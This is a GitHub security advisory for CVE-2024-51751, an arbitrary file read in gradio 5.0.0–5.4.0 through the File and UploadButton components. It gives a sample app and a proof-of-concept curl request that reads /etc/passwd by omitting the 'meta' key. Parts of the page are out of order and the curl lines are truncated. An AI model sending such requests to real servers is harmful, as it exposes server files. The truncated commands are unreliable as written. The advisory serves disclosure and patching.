Arbitrary file read with File and UploadButton components

Moderate **freddyaboulton** published **GHSA-rhm9-gp5p-5248** 3 days ago

Package	Affected versions	Patched versions
gradio (pip)	5.0.0 - 5.4.0	5.5.0

Description

Summary

If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details

Consider the following application where a user can upload a file and preview its content:

```
import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"),
outputs="textbox")

if __name__ == "__main__":
    demo.launch()
```

If we run this application and make the following request (which attempts to read the `/etc/passwd` file)

```
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'conte
type: application/json' --data-raw '{"data":
[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":
{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigg
```

Then this results in the following error on the server

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-51751

Weaknesses

No CWEs

Credits

ifratric Reporter

```
gradio.exceptions.InvalidPathError: Cannot move /etc/passwd t
the gradio cache dir because it was not uploaded by a user.
```

This is expected. However, if we now remove the `"meta": {"_type":"gradio.FileData"}` from the request:

```
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'conte
type: application/json' --data-raw '{"data":
[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":
```

This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation

```
    return await client_utils.async_traverse(
        data, _move_to_cache, client_utils.is_file_obj_with_me
    )
```

where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path:

```
def is_file_obj_with_meta(d) -> bool:
    """
    Check if the given value is a valid FileData object
dictionary in newer versions of Gradio
    where the file objects include a specific "meta" key, e.g.
    {
        "path": "path/to/file",
        "meta": {"_type: "gradio.FileData"}
    }
    """
    return (
        isinstance(d, dict)
        and "path" in d
        and isinstance(d["path"], str)
        and "meta" in d
        and d["meta"].get("_type", "") == "gradio.FileData"
    )
```

For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`.

Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places)

PoC

As described above, run the following Gradio app

```
import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"),
outputs="textbox")

if __name__ == "__main__":
    demo.launch()
```

And make the following request

```
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'conte
type: application/json' --data-raw '{"data":
[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":
```

Impact

Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.